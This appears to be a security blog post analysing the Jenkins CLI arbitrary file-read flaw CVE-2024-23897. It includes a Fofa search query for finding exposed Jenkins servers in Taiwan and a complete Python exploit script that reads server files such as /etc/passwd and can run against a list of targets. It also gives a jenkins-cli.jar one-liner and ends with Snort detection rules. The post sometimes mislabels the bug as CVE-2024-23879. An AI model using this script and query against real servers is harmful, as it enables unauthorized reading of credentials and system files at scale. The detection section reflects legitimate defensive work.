Preliminary Analysis of CVE-2024-23897
CVE-2024-23897 is a vulnerability involving unauthorized file access in Jenkins. It exploits a feature of the Jenkins Command Line Interface (CLI), which uses the args4j library to parse command line arguments. The args4j library has a unique characteristic: when a command line argument starts with the @ character, it is interpreted as a file path, and the contents of the file are read as arguments. This feature allows an attacker to read any file on the Jenkins server through the Jenkins CLI.
![Jenkins vulnerability](https://www.ids-sax2.com/wp-content/uploads/picture/i-blog-csdnimg-cn-c44f4da730a80bd97598e038f57d0cf5.png)
The main issue with this code is that when it processes command line arguments starting with the @
character, it attempts to treat them as file paths and read the contents of that file. Specifically, if the argument starts with @
, it creates a file object, checks whether the file exists, and if it does, reads all its contents and adds them to the result list. This handling makes Jenkins vulnerable to unauthorized file read attacks, such as CVE-2024-23879. For example, an attacker might send an argument like @/etc/passwd
, causing Jenkins to read and expose sensitive system files. Additionally, the ConnectNodeCommand provides error echo for node_s
, which primarily echoes node information, but just like utilizing common error echoing, it inadvertently echoes the contents of the file we want to read along with the node information.
Vulnerability Reproduction
Fofa Query Statement
header=âX-Jenkinsâ || banner=âX-Jenkinsâ || header=âX-Hudsonâ || banner=âX-Hudsonâ || header=âX-Required-Permission: hudson.model.Hudson.Readâ || banner=âX-Required-Permission: hudson.model.Hudson.Readâ || body=âJenkins-Agent-Protocolsâ && country=âCNâ && region=âTWâ Collect Taiwan address data and save as a txt file for backup
Python Vulnerability Test Script
import argparse
import threading
import http.client
import uuid
import urllib.parse
# Color constants
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
ENDC = '\033[0m'
def format_url(url):
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
return url
def send_download_request(target_info, uuid_str):
try:
conn = http.client.HTTPConnection(target_info.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
response = conn.getresponse().read()
print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
def send_upload_request(target_info, uuid_str, data):
try:
conn = http.client.HTTPConnection(target_info.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data)
except Exception as e:
print(f"{RED}Error in upload request:{ENDC} {str(e)}")
def launch_exploit(target_url, file_path):
formatted_url = format_url(target_url)
target_info = urllib.parse.urlparse(formatted_url)
uuid_str = str(uuid.uuid4())
data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_path.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))
upload_thread.start()
download_thread.start()
upload_thread.join()
download_thread.join()
def process_target_list(file_list, file_path):
with open(file_list, 'r') as file:
targets = [format_url(line.strip()) for line in file.readlines()]
for target in targets:
print(f"{YELLOW}Processing target:{ENDC} {target}")
launch_exploit(target, file_path)
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
parser.add_argument('-u', '--url', help='Single target URL.')
parser.add_argument('-l', '--list', help='File with list of target hosts.')
parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')
args = parser.parse_args()
if args.url:
launch_exploit(args.url, args.file)
elif args.list:
process_target_list(args.list, args.file)
else:
print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")
if __name__ == "__main__":
main()
Execute the command python3 .\test.py -l .\test.txt -f /etc/passwd
It is found that an attacker without OVER/READ permission can only read part of the file content
![Jenkins vulnerability](https://www.ids-sax2.com/wp-content/uploads/picture/i-blog-csdnimg-cn-fe1f304401dab386d035db086a9d27cc.png)
Of course, the official tool jenkins-cli.jar can also be used, but I didnât find it
The command is java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node â@/etc/passwdâ
Captured Packets
The first sent packet is
![](https://www.ids-sax2.com/wp-content/uploads/picture/i-blog-csdnimg-cn-f8d335776c38d6760da193e07832c7d4.png)
The second sent packet is
![](https://www.ids-sax2.com/wp-content/uploads/picture/i-blog-csdnimg-cn-31a09d376709a26db104b3f4d2d37b61.png)
Creating Snort Rules in IDS
Formulation Strategy
You can see that exploiting this vulnerability requires sending two packets and can use the same URL for both as an interception feature /cli?remoting=false. Utilize the flowbits
feature included in snort3 to intercept the features of both packets.
flowbits
is an option in the Snort intrusion detection system used to track and control the state of network traffic. It allows rules to share state information between them to detect complex behavior patterns distributed across multiple packets. flowbits
is primarily used to address threats requiring multi-step detection, such as segmented attacks or multi-stage malicious activities. The main flowbits
operations include:
set
: Sets a specific traffic flag.unset
: Clears a specific traffic flag.isset
: Checks if a specific traffic flag is set.isnotset
: Checks if a specific traffic flag is not set.toggle
: Toggles a specific traffic flag status.
CVE-2024-23879 Rule
alert tcp any any -> any 80 (msg:âPossible Jenkins Server Exploit Attemptâ; flow:to_server,established; http_method; content:âPOSTâ; http_uri; content:â/cli?remoting=falseâ; http_client_body; content:â@/etc/passwdâ; classtype:web-application-attack; flowbits:set,jenkins; flowbits:noalert;sid:1000001; rev:1;)
alert tcp any any -> any 80 (msg:âDetect POST request to Jenkins CLI with download sideâ; flow:to_server,established; http_method; content:âPOSTâ;http_uri; content:â/cli?remoting=falseâ; http_header; content:âSide: downloadâ; flowbits:isset,jenkins; classtype:web-application-activity; sid:1000002; rev:1;)